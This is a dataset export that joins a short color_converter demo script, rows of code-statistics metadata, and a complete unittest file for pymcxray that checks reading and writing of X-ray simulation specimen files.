import color_converter as cc print("cc.rgbhex_to_rgb255('#0080ff')") print(cc.rgbhex_to_rgb255('#0080ff')) print("cc.rgb255_to_rgbhex((0, 128, 255))") print(cc.rgb255_to_rgbhex((0, 128, 255))) print("cc.lab_to_lch((80, 10, 17.32))") print(cc.lab_to_lch((80, 10, 17.32))) print("cc.lch_to_lab((80, 20, 60))") print(cc.lch_to_lab((80, 20, 60))) print("cc.hsl_to_rgbhex((210, 0.4, 0.7))") print(cc.hsl_to_rgbhex((210, 0.4, 0.7))) print("cc.lch_to_rgbhex((70, 40, 210))") print(cc.lch_to_rgbhex((70, 40, 210))) # test with Adobe Photoshop CS6 print("cc.lab_to_rgb255((0, 0, 0)) -> [0, 0, 0]") print(cc.lab_to_rgb255((0, 0, 0))) print("cc.lab_to_rgb255((50, 0, 0)) -> [119, 119, 119]") print(cc.lab_to_rgb255((50, 0, 0))) print("cc.lab_to_rgb255((100, 0, 0)) -> [255, 255, 255]") print(cc.lab_to_rgb255((100, 0, 0))) print("cc.lab_to_rgb255((50, 50, 0)) -> [193, 78, 121]") print(cc.lab_to_rgb255((50, 50, 0))) print("cc.lab_to_rgb255((50, 0, 50)) -> [136, 118, 22]") print(cc.lab_to_rgb255((50, 0, 50))) print("cc.lab_to_rgb255((50, -50, 0)) -> [0, 140, 117]") print(cc.lab_to_rgb255((50, -50, 0))) print("cc.lab_to_rgb255((50, 0, -50)) -> [54, 122, 205]") print(cc.lab_to_rgb255((50, 0, -50)))

26.822222

57

0.636288

241

1,207

2.966805

0.190871

0.254545

0.223776

0.268531

0.867133

0.862937

0.40979

0

0.230769

0.106048

1,207

44

58

27.431818

0.431881

0.024027

0

0.439523

0.189949

0

1

0

true

0

0.037037

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0.962963

0

null

1

0

1

0

1

0

null

0

1

0

1

0

11

b6b03dd7011886ac0f0a588a4c1cce01b1613093

38,178

py

Python

pymcxray/FileFormat/test_Specimen.py

drix00/pymcxray

bf650aa0f31c635040a6cb79fe1cb7ecf27b8990

[ "Apache-2.0" ]

1

2020-07-23T12:13:30.000Z

pymcxray/FileFormat/test_Specimen.py

drix00/pymcxray

bf650aa0f31c635040a6cb79fe1cb7ecf27b8990

[ "Apache-2.0" ]

3

2017-03-05T16:09:30.000Z

2017-03-05T16:11:41.000Z

pymcxray/FileFormat/test_Specimen.py

drix00/pymcxray

bf650aa0f31c635040a6cb79fe1cb7ecf27b8990

[ "Apache-2.0" ]

null

#!/usr/bin/env python """ .. py:currentmodule:: FileFormat.test_Specimen .. moduleauthor:: Hendrix Demers <hendrix.demers@mail.mcgill.ca> Tests for module `Specimen`. """ # Script information for the file. __author__ = "Hendrix Demers (hendrix.demers@mail.mcgill.ca)" __version__ = "" __date__ = "" __copyright__ = "Copyright (c) 2012 Hendrix Demers" __license__ = "" # Subversion informations for the file. __svnRevision__ = "$Revision$" __svnDate__ = "$Date$" __svnId__ = "$Id$" # Standard library modules. import unittest import logging import os.path import copy # Third party modules. from nose.plugins.skip import SkipTest # Local modules. # Project modules import pymcxray.FileFormat.Specimen as Specimen import pymcxray.FileFormat.testUtilities as testUtilities import pymcxray.FileFormat.Region as Region import pymcxray.FileFormat.Element as Element import pymcxray.FileFormat.RegionType as RegionType import pymcxray.FileFormat.RegionDimensions as RegionDimensions import pymcxray.FileFormat.Version as Version # Globals and constants variables. class TestSpecimen(unittest.TestCase): """ TestCase class for the module `Specimen`. """ def setUp(self): """ Setup method. """ unittest.TestCase.setUp(self) self.testDataPath = os.path.abspath(os.path.join(os.path.dirname(__file__), "../../test_data")) self.tempDataPath = testUtilities.createTempDataPath(self.testDataPath) def tearDown(self): """ Teardown method. """ unittest.TestCase.tearDown(self) testUtilities.removeTempDataPath(self.tempDataPath) def testSkeleton(self): """ First test to check if the testcase is working with the testing framework. """ #self.fail("Test if the testcase is working.") self.assert_(True) def test_read(self): """ Tests for method `read`. """ for title in testUtilities.getSimulationTitles(): logging.info(title) specimen = Specimen.Specimen() filepath = os.path.abspath(os.path.join(self.testDataPath, "%s/%s.sam" % (title, title))) specimen.read(filepath) self.assertEquals(Version.VERSION_1_1_1.major, specimen.version.major) self.assertEquals(Version.VERSION_1_1_1.minor, specimen.version.minor) self.assertEquals(Version.VERSION_1_1_1.revision, specimen.version.revision) self.assertEquals(Version.VERSION_1_1_1, specimen.version) specimenRef = self.getSpecimenReference(title) self.assertEquals(specimenRef.version.major, specimen.version.major) self.assertEquals(specimenRef.version.minor, specimen.version.minor, title) self.assertEquals(specimenRef.version.revision, specimen.version.revision) self.assertEquals(specimenRef.version, specimen.version) self.assertEquals(specimenRef.numberRegions, specimen.numberRegions) #self.fail("Test if the testcase is working.") def test_read_1_1_1(self): """ Tests for method `read`. """ specimen = Specimen.Specimen() title = "AlMgBulk5keV_version_1_1_1" filepath = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.sam" % (title))) specimen.read(filepath) self.assertEquals(Version.VERSION_1_1_1.major, specimen.version.major) self.assertEquals(Version.VERSION_1_1_1.minor, specimen.version.minor) self.assertEquals(Version.VERSION_1_1_1.revision, specimen.version.revision) self.assertEquals(Version.VERSION_1_1_1, specimen.version) specimenRef = self.getSpecimenReference(title) self.assertEquals(specimenRef.version.major, specimen.version.major) self.assertEquals(specimenRef.version.minor, specimen.version.minor) self.assertEquals(specimenRef.version.revision, specimen.version.revision) self.assertEquals(specimenRef.version, specimen.version) self.assertEquals(specimenRef.numberRegions, specimen.numberRegions) indexRegion = 0 region = specimen.regions[indexRegion] regionRef = specimenRef.regions[indexRegion] self.assertEquals(regionRef.numberElements, region.numberElements) self.assertEquals(regionRef.regionMassDensity_g_cm3, region.regionMassDensity_g_cm3) self.assertEquals(regionRef.regionType, region.regionType) self.assertEquals(regionRef.regionDimensions, region.regionDimensions) indexElement = 0 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) indexElement = 1 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) indexRegion = 1 region = specimen.regions[indexRegion] regionRef = specimenRef.regions[indexRegion] self.assertEquals(regionRef.numberElements, region.numberElements) self.assertEquals(regionRef.regionMassDensity_g_cm3, region.regionMassDensity_g_cm3) self.assertEquals(regionRef.regionType, region.regionType) self.assertEquals(regionRef.regionDimensions, region.regionDimensions) indexElement = 0 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) indexRegion = 2 region = specimen.regions[indexRegion] regionRef = specimenRef.regions[indexRegion] self.assertEquals(regionRef.numberElements, region.numberElements) self.assertEquals(regionRef.regionMassDensity_g_cm3, region.regionMassDensity_g_cm3) self.assertEquals(regionRef.regionType, region.regionType) self.assertEquals(regionRef.regionDimensions, region.regionDimensions) indexElement = 0 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) #self.fail("Test if the testcase is working.") def test_read_1_2_0(self): """ Tests for method `read`. """ specimen = Specimen.Specimen() title = "AlMgBulk5keV_version_1_2_0" filepath = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.sam" % (title))) specimen.read(filepath) self.assertEquals(Version.VERSION_1_2_0.major, specimen.version.major) self.assertEquals(Version.VERSION_1_2_0.minor, specimen.version.minor) self.assertEquals(Version.VERSION_1_2_0.revision, specimen.version.revision) self.assertEquals(Version.VERSION_1_2_0, specimen.version) specimenRef = self.getSpecimenReference(title) self.assertEquals(specimenRef.version.major, specimen.version.major) self.assertEquals(specimenRef.version.minor, specimen.version.minor) self.assertEquals(specimenRef.version.revision, specimen.version.revision) self.assertEquals(specimenRef.version, specimen.version) self.assertEquals(specimenRef.numberRegions, specimen.numberRegions) indexRegion = 0 region = specimen.regions[indexRegion] regionRef = specimenRef.regions[indexRegion] self.assertEquals(regionRef.numberElements, region.numberElements) self.assertEquals(regionRef.regionMassDensity_g_cm3, region.regionMassDensity_g_cm3) self.assertEquals(regionRef.regionType, region.regionType) self.assertEquals(regionRef.regionDimensions, region.regionDimensions) indexElement = 0 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) indexElement = 1 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) indexRegion = 1 region = specimen.regions[indexRegion] regionRef = specimenRef.regions[indexRegion] self.assertEquals(regionRef.numberElements, region.numberElements) self.assertEquals(regionRef.regionMassDensity_g_cm3, region.regionMassDensity_g_cm3) self.assertEquals(regionRef.regionType, region.regionType) self.assertEquals(regionRef.regionDimensions, region.regionDimensions) indexElement = 0 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) indexRegion = 2 region = specimen.regions[indexRegion] regionRef = specimenRef.regions[indexRegion] self.assertEquals(regionRef.numberElements, region.numberElements) self.assertEquals(regionRef.regionMassDensity_g_cm3, region.regionMassDensity_g_cm3) self.assertEquals(regionRef.regionType, region.regionType) self.assertEquals(regionRef.regionDimensions, region.regionDimensions) indexElement = 0 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) #self.fail("Test if the testcase is working.") def test_read_1_2_1(self): """ Tests for method `read`. """ specimen = Specimen.Specimen() title = "AlMgBulk5keV_version_1_2_1" filepath = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.sam" % (title))) specimen.read(filepath) self.assertEquals(Version.VERSION_1_2_1.major, specimen.version.major) self.assertEquals(Version.VERSION_1_2_1.minor, specimen.version.minor) self.assertEquals(Version.VERSION_1_2_1.revision, specimen.version.revision) self.assertEquals(Version.VERSION_1_2_1, specimen.version) specimenRef = self.getSpecimenReference(title) self.assertEquals(specimenRef.version.major, specimen.version.major) self.assertEquals(specimenRef.version.minor, specimen.version.minor) self.assertEquals(specimenRef.version.revision, specimen.version.revision) self.assertEquals(specimenRef.version, specimen.version) self.assertEquals(specimenRef.numberRegions, specimen.numberRegions) indexRegion = 0 region = specimen.regions[indexRegion] regionRef = specimenRef.regions[indexRegion] self.assertEquals(regionRef.numberElements, region.numberElements) self.assertEquals(regionRef.regionMassDensity_g_cm3, region.regionMassDensity_g_cm3) self.assertEquals(regionRef.regionType, region.regionType) self.assertEquals(regionRef.regionDimensions, region.regionDimensions) indexElement = 0 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) indexElement = 1 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) indexRegion = 1 region = specimen.regions[indexRegion] regionRef = specimenRef.regions[indexRegion] self.assertEquals(regionRef.numberElements, region.numberElements) self.assertEquals(regionRef.regionMassDensity_g_cm3, region.regionMassDensity_g_cm3) self.assertEquals(regionRef.regionType, region.regionType) self.assertEquals(regionRef.regionDimensions, region.regionDimensions) indexElement = 0 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) indexRegion = 2 region = specimen.regions[indexRegion] regionRef = specimenRef.regions[indexRegion] self.assertEquals(regionRef.numberElements, region.numberElements) self.assertEquals(regionRef.regionMassDensity_g_cm3, region.regionMassDensity_g_cm3) self.assertEquals(regionRef.regionType, region.regionType) self.assertEquals(regionRef.regionDimensions, region.regionDimensions) indexElement = 0 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) #self.fail("Test if the testcase is working.") def test_read_1_4_1(self): """ Tests for method `read`. """ specimen = Specimen.Specimen() title = "AlMgBulk5keV_version_1_4_1" filepath = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.sam" % (title))) specimen.read(filepath) self.assertEquals(Version.VERSION_1_4_1.major, specimen.version.major) self.assertEquals(Version.VERSION_1_4_1.minor, specimen.version.minor) self.assertEquals(Version.VERSION_1_4_1.revision, specimen.version.revision) self.assertEquals(Version.VERSION_1_4_1, specimen.version) specimenRef = self.getSpecimenReference(title) self.assertEquals(specimenRef.version.major, specimen.version.major) self.assertEquals(specimenRef.version.minor, specimen.version.minor) self.assertEquals(specimenRef.version.revision, specimen.version.revision) self.assertEquals(specimenRef.version, specimen.version) self.assertEquals(specimenRef.numberRegions, specimen.numberRegions) indexRegion = 0 region = specimen.regions[indexRegion] regionRef = specimenRef.regions[indexRegion] self.assertEquals(regionRef.numberElements, region.numberElements) self.assertEquals(regionRef.regionMassDensity_g_cm3, region.regionMassDensity_g_cm3) self.assertEquals(regionRef.regionType, region.regionType) self.assertEquals(regionRef.regionDimensions, region.regionDimensions) indexElement = 0 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) indexElement = 1 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) indexRegion = 1 region = specimen.regions[indexRegion] regionRef = specimenRef.regions[indexRegion] self.assertEquals(regionRef.numberElements, region.numberElements) self.assertEquals(regionRef.regionMassDensity_g_cm3, region.regionMassDensity_g_cm3) self.assertEquals(regionRef.regionType, region.regionType) self.assertEquals(regionRef.regionDimensions, region.regionDimensions) indexElement = 0 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) indexRegion = 2 region = specimen.regions[indexRegion] regionRef = specimenRef.regions[indexRegion] self.assertEquals(regionRef.numberElements, region.numberElements) self.assertEquals(regionRef.regionMassDensity_g_cm3, region.regionMassDensity_g_cm3) self.assertEquals(regionRef.regionType, region.regionType) self.assertEquals(regionRef.regionDimensions, region.regionDimensions) indexElement = 0 element = region.elements[indexElement] elementRef = regionRef.elements[indexElement] self.assertEquals(elementRef.atomicNumber, element.atomicNumber) self.assertEquals(elementRef.massFraction, element.massFraction) #self.fail("Test if the testcase is working.") def test_write(self): """ Tests for method `write`. """ raise SkipTest self.maxDiff = None for title in testUtilities.getSimulationTitles(): logging.info(title) specimenRef = self.getSpecimenReference(title) filepathReference = os.path.abspath(os.path.join(self.testDataPath, "%s/%s.sam" % (title, title))) filepath = os.path.join(self.tempDataPath, "%s.sam" % (title)) specimen = Specimen.Specimen() specimen = specimenRef specimen.write(filepath) linesRef = open(filepathReference, 'r').readlines() lines = open(filepath, 'r').readlines() for index in range(len(linesRef)): lineRef = linesRef[index] line = lines[index] message = "%i:\n%s\n%s" % (index, lineRef, line) self.assertEquals(lineRef, line, message) self.assertListEqual(linesRef, lines) #self.fail("Test if the testcase is working.") def test_write_1_1_1(self): """ Tests for method `write`. """ raise SkipTest self.maxDiff = None title = "AlMgBulk5keV_version_1_1_1" specimenRef = self.getSpecimenReference(title) filepathReference = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.sam" % (title))) filepath = os.path.join(self.tempDataPath, "%s.sam" % (title)) specimen = specimenRef specimen.write(filepath) linesRef = open(filepathReference, 'r').readlines() lines = open(filepath, 'r').readlines() for index in range(len(linesRef)): lineRef = linesRef[index] line = lines[index] message = "%i:\n%s\n%s" % (index, lineRef, line) self.assertEquals(lineRef, line, message) self.assertListEqual(linesRef, lines) self.fail("Test if the testcase is working.") def test_write_1_2_0(self): """ Tests for method `write`. """ self.maxDiff = None title = "AlMgBulk5keV_version_1_2_0" specimenRef = self.getSpecimenReference(title) filepathReference = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.sam" % (title))) filepath = os.path.join(self.tempDataPath, "%s.sam" % (title)) specimen = specimenRef specimen.version = copy.deepcopy(Version.VERSION_1_2_0) specimen.write(filepath) linesRef = open(filepathReference, 'r').readlines() lines = open(filepath, 'r').readlines() for index in range(len(linesRef)): lineRef = linesRef[index] line = lines[index] message = "%i:\n%s\n%s" % (index, lineRef, line) self.assertEquals(lineRef, line, message) self.assertListEqual(linesRef, lines) #self.fail("Test if the testcase is working.") def test_write_1_2_1(self): """ Tests for method `write`. """ self.maxDiff = None title = "AlMgBulk5keV_version_1_2_1" specimenRef = self.getSpecimenReference(title) filepathReference = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.sam" % (title))) filepath = os.path.join(self.tempDataPath, "%s.sam" % (title)) specimen = specimenRef specimen.version = copy.deepcopy(Version.VERSION_1_2_1) specimen.write(filepath) linesRef = open(filepathReference, 'r').readlines() lines = open(filepath, 'r').readlines() for index in range(len(linesRef)): lineRef = linesRef[index] line = lines[index] message = "%i:\n%s\n%s" % (index, lineRef, line) self.assertEquals(lineRef, line, message) self.assertListEqual(linesRef, lines) #self.fail("Test if the testcase is working.") def test_write_1_4_1(self): """ Tests for method `write`. """ self.maxDiff = None title = "AlMgBulk5keV_version_1_4_1" specimenRef = self.getSpecimenReference(title) filepathReference = os.path.abspath(os.path.join(self.testDataPath, "inputs", "%s.sam" % (title))) filepath = os.path.join(self.tempDataPath, "%s.sam" % (title)) specimen = specimenRef specimen.write(filepath) linesRef = open(filepathReference, 'r').readlines() lines = open(filepath, 'r').readlines() for index in range(len(linesRef)): lineRef = linesRef[index] line = lines[index] message = "%i:\n%s\n%s" % (index, lineRef, line) self.assertEquals(lineRef, line, message) self.assertListEqual(linesRef, lines) #self.fail("Test if the testcase is working.") def getSpecimenReference(self, title): specimen = Specimen.Specimen() if title == "AuBC cyl": specimen.numberRegions = 4 specimen.version = Version.Version(1, 1, 1) region = Region.Region() region.numberElements = 1 element = Element.Element(6) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_BOX parameters = [-10000000000.0, 10000000000.0, -10000000000.0, 10000000000.0, 0.0, 20000000000.0] region.regionDimensions = RegionDimensions.RegionDimensionsBox(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 1 element = Element.Element(79) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_BOX parameters = [0.0, 10000000000.0, -10000000000.0, 10000000000.0, 0.0, 20000000000.0] region.regionDimensions = RegionDimensions.RegionDimensionsBox(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 1 element = Element.Element(5) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_CYLINDER parameters = [-500.0, -500.0, 300.0, 0.0, 1.0, 0.35, 1000.0, 300.0] region.regionDimensions = RegionDimensions.RegionDimensionsCylinder(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 1 element = Element.Element(5) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_CYLINDER parameters = [500.0, 500.0, 300.0, 0.0, -1.0, 0.35, 1000.0, 300.0] region.regionDimensions = RegionDimensions.RegionDimensionsCylinder(parameters) specimen.regions.append(region) elif title == "BioRitchieNew111017": specimen.numberRegions = 7 specimen.version = Version.Version(1, 1, 1) region = Region.Region() region.numberElements = 3 element = Element.Element(6, 0.7) region.elements.append(element) element = Element.Element(8, 0.28) region.elements.append(element) element = Element.Element(17, 0.02) region.elements.append(element) region.regionMassDensity_g_cm3 = 1.14 region.regionType = RegionType.REGION_TYPE_BOX parameters = [-10000000000.0, 10000000000.0, -10000000000.0, 10000000000.0, 0.0, 20000000000.0] region.regionDimensions = RegionDimensions.RegionDimensionsBox(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 2 element = Element.Element(8, 0.53) region.elements.append(element) element = Element.Element(14, 0.47) region.elements.append(element) region.regionMassDensity_g_cm3 = 2.2 region.regionType = RegionType.REGION_TYPE_CYLINDER parameters = [-20000.0, 0.0, 30000.0, 1.0, 0.0, 0.0, 40000.0, 30000.0] region.regionDimensions = RegionDimensions.RegionDimensionsCylinder(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 3 element = Element.Element(6, 0.7) region.elements.append(element) element = Element.Element(8, 0.28) region.elements.append(element) element = Element.Element(17, 0.02) region.elements.append(element) region.regionMassDensity_g_cm3 = 1.14 region.regionType = RegionType.REGION_TYPE_CYLINDER parameters = [-20000.0, 0.0, 30000.0, 1.0, 0.0, 0.0, 40000.0, 29500.0] region.regionDimensions = RegionDimensions.RegionDimensionsCylinder(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 7 region.elements.append(Element.Element(1, 0.071)) region.elements.append(Element.Element(6, 0.414)) region.elements.append(Element.Element(7, 0.168)) region.elements.append(Element.Element(8, 0.285)) region.elements.append(Element.Element(15, 0.036)) region.elements.append(Element.Element(16, 0.006)) region.elements.append(Element.Element(76, 0.02)) region.regionMassDensity_g_cm3 = 1.32 region.regionType = RegionType.REGION_TYPE_SPHERE parameters = [12000.0, 10000.0, 10000.0, 8000.0] region.regionDimensions = RegionDimensions.RegionDimensionsSphere(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 9 region.elements.append(Element.Element(1, 0.11)) region.elements.append(Element.Element(6, 0.49)) region.elements.append(Element.Element(7, 0.12)) region.elements.append(Element.Element(8, 0.25)) region.elements.append(Element.Element(12, 0.003)) region.elements.append(Element.Element(15, 0.003)) region.elements.append(Element.Element(16, 0.003)) region.elements.append(Element.Element(25, 0.001)) region.elements.append(Element.Element(76, 0.02)) region.regionMassDensity_g_cm3 = 1.24 region.regionType = RegionType.REGION_TYPE_SPHERE parameters = [-10000.0, 0.0, 20000.0, 15000.0] region.regionDimensions = RegionDimensions.RegionDimensionsSphere(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 9 region.elements.append(Element.Element(1, 0.11)) region.elements.append(Element.Element(6, 0.49)) region.elements.append(Element.Element(7, 0.12)) region.elements.append(Element.Element(8, 0.25)) region.elements.append(Element.Element(12, 0.003)) region.elements.append(Element.Element(15, 0.003)) region.elements.append(Element.Element(16, 0.003)) region.elements.append(Element.Element(25, 0.001)) region.elements.append(Element.Element(76, 0.02)) region.regionMassDensity_g_cm3 = 1.24 region.regionType = RegionType.REGION_TYPE_SPHERE parameters = [10000.0, -5000.0, 25000.0, 6000.0] region.regionDimensions = RegionDimensions.RegionDimensionsSphere(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 7 region.elements.append(Element.Element(1, 0.077)) region.elements.append(Element.Element(6, 0.497)) region.elements.append(Element.Element(7, 0.11)) region.elements.append(Element.Element(8, 0.259)) region.elements.append(Element.Element(15, 0.031)) region.elements.append(Element.Element(16, 0.006)) region.elements.append(Element.Element(76, 0.02)) region.regionMassDensity_g_cm3 = 1.18 region.regionType = RegionType.REGION_TYPE_SPHERE parameters = [-23000.0, 4000.0, 33500.0, 2000.0] region.regionDimensions = RegionDimensions.RegionDimensionsSphere(parameters) specimen.regions.append(region) specimen._shortHeader = True elif title == "Bug Al Zr Sphere": specimen.numberRegions = 2 specimen.version = Version.Version(1, 1, 1) region = Region.Region() region.numberElements = 1 element = Element.Element(13) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_BOX parameters = [-10000000000.0, 10000000000.0, -10000000000.0, 10000000000.0, 0.0, 1000.0] region.regionDimensions = RegionDimensions.RegionDimensionsBox(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 1 element = Element.Element(40) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_SPHERE parameters = [0.0, 0.0, 500.0, 499.9] region.regionDimensions = RegionDimensions.RegionDimensionsSphere(parameters) specimen.regions.append(region) elif title == "Mg2SiAlCube3kev": specimen.numberRegions = 2 specimen.version = Version.Version(1, 1, 1) region = Region.Region() region.numberElements = 2 element = Element.Element(12, 0.5) region.elements.append(element) element = Element.Element(13, 0.5) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_BOX parameters = [-10000000000.0, 10000000000.0, -10000000000.0, 10000000000.0, 0.0, 20000000000.0] region.regionDimensions = RegionDimensions.RegionDimensionsBox(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 1 element = Element.Element(6) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_BOX parameters = (-10.0, 10.0, -10.0, 10.0, 0.0, 20.0) region.regionDimensions = RegionDimensions.RegionDimensionsBox(parameters) specimen.regions.append(region) elif title == "AlMgBulk5keV_version_1_1_1": specimen.numberRegions = 3 specimen.version = Version.Version(1, 1, 1) region = Region.Region() region.numberElements = 2 element = Element.Element(12, 0.5) region.elements.append(element) element = Element.Element(13, 0.5) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_BOX parameters = [-10000000000.0, 10000000000.0, -10000000000.0, 10000000000.0, 0.0, 20000000000.0] region.regionDimensions = RegionDimensions.RegionDimensionsBox(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 1 element = Element.Element(6) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_CYLINDER parameters = [0.0, -5000.0, 0.0, 0.0, 1.0, -0.7, 10000.0, 100.0] region.regionDimensions = RegionDimensions.RegionDimensionsCylinder(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 1 element = Element.Element(79) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_SPHERE parameters = [0.0, 0.0, 101.0, 100.0] region.regionDimensions = RegionDimensions.RegionDimensionsSphere(parameters) specimen.regions.append(region) elif title == "AlMgBulk5keV_version_1_2_0": specimen.numberRegions = 3 specimen.version = Version.Version(1, 2, 0) region = Region.Region() region.numberElements = 2 element = Element.Element(14, 0.4) region.elements.append(element) element = Element.Element(15, 0.6) region.elements.append(element) region.regionMassDensity_g_cm3 = 23.0 region.regionType = RegionType.REGION_TYPE_BOX parameters = [-2000000000.0, 6000000000.0, -4000000000.0, 5000000000.0, 0.8, 70000.0] region.regionDimensions = RegionDimensions.RegionDimensionsBox(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 1 element = Element.Element(7) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_CYLINDER parameters = [0.4, -8000.0, 0.9, 0.1, 0.6, -0.8, 50000.0, 700.0] region.regionDimensions = RegionDimensions.RegionDimensionsCylinder(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 1 element = Element.Element(56) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_SPHERE parameters = [0.5, 0.6, 102.0, 101.0] region.regionDimensions = RegionDimensions.RegionDimensionsSphere(parameters) specimen.regions.append(region) elif title == "AlMgBulk5keV_version_1_2_1": specimen.numberRegions = 3 specimen.version = Version.Version(1, 2, 1) region = Region.Region() region.numberElements = 2 element = Element.Element(14, 0.4) region.elements.append(element) element = Element.Element(15, 0.6) region.elements.append(element) region.regionMassDensity_g_cm3 = 23.0 region.regionType = RegionType.REGION_TYPE_BOX parameters = [-2000000000.0, 6000000000.0, -4000000000.0, 5000000000.0, 0.8, 70000.0] region.regionDimensions = RegionDimensions.RegionDimensionsBox(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 1 element = Element.Element(7) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_CYLINDER parameters = [0.4, -8000.0, 0.9, 0.1, 0.6, -0.8, 50000.0, 700.0] region.regionDimensions = RegionDimensions.RegionDimensionsCylinder(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 1 element = Element.Element(56) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_SPHERE parameters = [0.5, 0.6, 102.0, 101.0] region.regionDimensions = RegionDimensions.RegionDimensionsSphere(parameters) specimen.regions.append(region) elif title == "AlMgBulk5keV_version_1_4_1": specimen.numberRegions = 3 specimen.version = Version.Version(1, 4, 1) region = Region.Region() region.numberElements = 2 element = Element.Element(14, 0.4) region.elements.append(element) element = Element.Element(15, 0.6) region.elements.append(element) region.regionMassDensity_g_cm3 = 23.0 region.regionType = RegionType.REGION_TYPE_BOX parameters = [-2000000000.0, 6000000000.0, -4000000000.0, 5000000000.0, 0.8, 70000.0] region.regionDimensions = RegionDimensions.RegionDimensionsBox(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 1 element = Element.Element(7) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_CYLINDER parameters = [0.4, -8000.0, 0.9, 0.1, 0.6, -0.8, 50000.0, 700.0] region.regionDimensions = RegionDimensions.RegionDimensionsCylinder(parameters) specimen.regions.append(region) region = Region.Region() region.numberElements = 1 element = Element.Element(56) region.elements.append(element) region.regionType = RegionType.REGION_TYPE_SPHERE parameters = [0.5, 0.6, 102.0, 101.0] region.regionDimensions = RegionDimensions.RegionDimensionsSphere(parameters) specimen.regions.append(region) return specimen if __name__ == '__main__': #pragma: no cover import nose nose.runmodule()

43.433447

110

0.663576

3,839

38,178

6.51628

0.063558

0.083147

0.052526

0.070155

0.9368

0.934482

0.932083

0.909338

0.901183

0.892669

0

0.049894

0.237205

38,178

878

111

43.482916

0.809113

0.031772

0

0.835866

0

0.020014

0.009365

0

0.206687

1

0.021277

false

0

0.019757

0

0.044073

0

null

0

1

0

1

0

null

0

7

b6b61045a3c1d433d3c3b8cf9566b675ebe2a99c

67

py

Python

speedy/src/java8speedy/__init__.py

ashrafizahra81/CodART

693e59d568b548edb2539d04cff1fd991de43124

[ "MIT" ]

1

2022-02-04T11:09:08.000Z

speedy/src/java8speedy/__init__.py

ashrafizahra81/CodART

693e59d568b548edb2539d04cff1fd991de43124

[ "MIT" ]

null

